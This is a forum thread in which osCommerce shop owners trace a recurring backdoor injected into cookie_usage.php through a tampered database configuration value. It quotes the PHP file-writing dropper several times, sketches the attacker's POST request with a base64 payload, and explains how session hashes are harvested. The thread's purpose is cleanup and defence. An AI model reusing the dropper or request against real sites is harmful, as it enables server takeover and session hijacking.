Trojan Horse Detected

[jmose 0]

FYI, here's the .htaccess file I put into the ../catalog/images folder. My guess is that the /catalog/images/cookie_usage.php file is added to with every Sql access. Then, some external process tries to run it via its URL. This .htaccess file blocks that access, which hopefully blocks the spread of the trojan:

 

<FilesMatch "\.(htaccess|htpasswd|ini|php|phps|fla|psd|log|sh)$">

Order Allow,Deny

Deny from all

</FilesMatch>

 

HTH,

Jim

[pauljatho 0]

Jmose, the quickest and probably most efficient way to clean your system would be to remove all data in the OSC directory, then restore a backup that you know is not infected, protect your admin directory with .htacess and move your admin directory to another name (you'll need to update your admin/includes/configure.php file to reflect the new directory location). I'm guessing this is not an option so let me try help you "fix" your system.

 

Firstly, by simply removing the code from your php files and putting a .htaccess file on your admin directory, you're not achieving anything, the back door has been created and the code will continually re appear, you need to find the back door and remove it.

 

What I suggest you do is first backup your data, then look for php files in the images directory (they will also be elsewhere but this is the easiest place to find them because there should be only images in this directory) there is probably a .php file which is being used to access your server, find an identifying string that you can use to search for the rest of these php files on your system then remove those too. There will also be .htm or .html files that the "hacker" has placed in these directories saying he has hacked your system (something like indonesia.htm) his trophy if you like, remove these too. Clean up the real .php files on your system, move your admin directory (as per above) and setup a .htaccess file, check file permissions and set them correctly (there is a post earlier on in this thread that highlights correct permissions). Your system should now be sorted, this is assuming that the only hole on your system is the OSC install. I would also suggest you monitor the /tmp directory and check if there are files that are being placed there that dont belong to you, also check your auth.log file.

 

Oh, also look out for google*.* files, these are not actual google files they are just named that so that one assumes they are files required for say google analytics etc.. and are then overlooked.

[jmose 0]

Paul,

 

Thanks for the input. I've actually byte-compared the entire osCommerce folder & all subfolders to a backup from a year ago, using the CSDiff product. So, I'm sure there's no new code - this product highlights all changed, added, or deleted modules. (I had the google* files a few days ago, among a dozen others, but those have been deleted.)

 

Since the PHP code still keeps appearing in cookie_usage.php, I'm (almost) convinced the problem is in the MySql database itself. This extra PHP string could have been added to a field in the database. Since the PHP string always shows up last in the cookie_usage.php file, my first guess is that it is from a column used by the \catalog\includes\footer.php module. As a test, I changed the permissions on cookie_usage.php to '444' so no one could write to it, and this was the last module to give an error.

 

I'll let you know what I find.

 

Thanks,

Jim

[jmose 0]

Digging further, my guess is that the variable STORE_PARSE_DATE_TIME_FORMAT is being corrupted somewhere. I still need to check its value in the configuration table in MySql. But, in application_bottom.php is this line:

 

error_log(strftime(STORE_PARSE_DATE_TIME_FORMAT) . ' - ' . getenv('REQUEST_URI') . ' (' . $parse_time . 's)' . "\n", 3, STORE_PAGE_PARSE_TIME_LOG);

 

 

This is exactly where the 'bad' line is being added to cookie_usage.php, giving this:

< !--tmtmtmtm< ? php if(isset($_POST['d'])){$h=fopen('imlog.php','w');fwrite($h,base64_decode($_POST['d']));fclose($h);exit;} ? >-- > - /oscommerce/catalog/index.php?cPath=25 (0.339s)

 

 

Since there is no timestamp, it follows that the variable has been hosed somewhere.

 

Jim

[♥geoffreywalton 139]

You could look in your store admin

 

Configuration >> Logging

 

In most shops Store Page Parse Time is the top line

 

HTH

 

G

[Taipo 36]

Id say the attacker is trying to POST to the cookie_usage.php with variable d=some-long-base64-hash-string which probably when decoded is a filemanager of sorts. The code is being decoded then written into a file called imlog.php which is in the same directory as cookie_usage.php.

 

The incoming HTTP Header would look something like:

 

POST /cookie_usage.php HTTP/1.1
Host: www.somesite.com
User-Agent: Mozilla/5.0
Accept: */*
Keep-Alive: 115
Connection: keep-alive
Cookie: osCsid=sdgsdh3h3rhpheffge3g3
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

d=ZXJyb3JfcmVwb3J0aW5nKDApO3Nld7D|-----some long base64 string------|Qp9DQpkaWUoJzExMTFDSEVDS1NUUklORzExMTEnKTs;

 

Since this code is being written into the cookie_usage.php file, that would also imply that there is more code in another file somewhere that is appending that file upload script into cookie_usage.php as well as updating it with the latest user sessions from the database.

 

The point I think is to log the session hash, which can be directly injected by an attacker into their own cookie, and then they would be able to log in as either a legit user or a legit admin.

 

So they are using cookie_usage.php as a quasi database storage so they can access it and read the session hash files then put them to use.

 

So its a multi-use situation for the attackers, and basically you will need to make double sure you have rid your site of all of this appended code. Because there has to be another file that has appended code in it in your site somewhere that is able to place a mysql query to the database for a list of sessions that stay in there until they expire.

[jmose 0]

To all,

 

OK, I think I cracked this. It was an issue in the database. The configuration table was compromised somehow in the past. The STORE_PARSE_DATE_TIME_FORMAT's configuration_value was set to the offending code (after preg_quote), below!!! I didn't use the admin login - would that even show this value, since it has encoded PHP?

 

-----Start--------------

\<\!--tmtmtmtm\<\?php if\(isset\(\$_POST\['d'\]\)\)\{\$h\=fopen\('imlog\.php','w'\);fwrite\(\$h,base64_decode\(\$_POST\['d'\]\)\);fclose\(\$h\);exit;\}\?\>--\>

-----End----------------

 

Until fixed, this will continually reinfect the folder with a backdoor.

 

So, here are my recommendations on how to make sure this doesn't happen:

 

1. Rename the 'cookie_usage.php' file to some other extension, so that it can not be executed!

2. Put an .htaccess file in /oscommerce/catalog/images so that no programs can execute.

3. Check your configuration table periodically to make sure nothing unexpected was changed.

 

 

Possible program changes for osCommerce:

1. Validate every strftime() parameter.

2. Encode all query results, to remove any PHP code.

 

I'll keep digging to see if there are any other 'bad' rows lurking in the configuration table.

 

Thanks,

Jim

[♥DunWeb 920]

Jim,

 

A properly secured website, with the required security contributions installed will not get hacked and can not have code injected into the database. So, I guess the answer is secure your website before you get hacked to prevent instances like this.

 

 

 

 

Chris

[jmose 0]

Just checked all other configuration rows, and didn't find any 'bad' configuration_value values.

 

Jim

[Jeanne1971 0]

Chris, we have ALL been hacked! So it's apparently an OSCommerce issue... Why would we all be experiencing the same problem??

 

Jeanne

 

 

 

Jim,

 

A properly secured website, with the required security contributions installed will not get hacked and can not have code injected into the database. So, I guess the answer is secure your website before you get hacked to prevent instances like this.

 

 

 

 

Chris

[♥DunWeb 920]

Jeanne,

 

There is only one explanation, your site was never secured !

 

Event the latest release of 2.3.1 requires additional security modifications to ensure it remains secure. An out of the box installation of osCommerce has never been secure.

 

 

 

 

 

Chris

[Jeanne1971 0]

Great. I will let my 'web guy' know, although he has stated time and time again he's never dealt with anything like this before.

So what would you suggest for a fix that works and LASTS? The "lasts" being the key word.

We get it fixed just for it to come back. So far, what's been posted, we've tried.

What would you suggest??

Thanks.

 

Jeanne

 

 

 

Jeanne,

 

There is only one explanation, your site was never secured !

 

Event the latest release of 2.3.1 requires additional security modifications to ensure it remains secure. An out of the box installation of osCommerce has never been secure.

 

 

 

 

 

Chris

[♥DunWeb 920]

Jeanne,

 

If you have applied the security patches and installed the security contributions, then I would look for backdoors the hacker has uploaded to the server which allows access even with the security in place. The last thing I would check is your hosting providers security.

 

 

 

 

Chris

[Taipo 36]

To all,

 

OK, I think I cracked this...

 

Jim, I wrote a bit of a speel about the exploit code here:

http://forums.oscommerce.com/topic/372970-malware-cookie-usagephp-explained/

 

If any of that code is resident on your server, the attacker can pretty much do what they like, including reuploading that code to other files and injecting it into the database for future recall.

[satish 24]

If your application( oscomerce or any customization) has a vulnerability you need to fix it.

 

 

 

 

Just hardening security at server level will not work in the long run.

 

 

 

 

Satish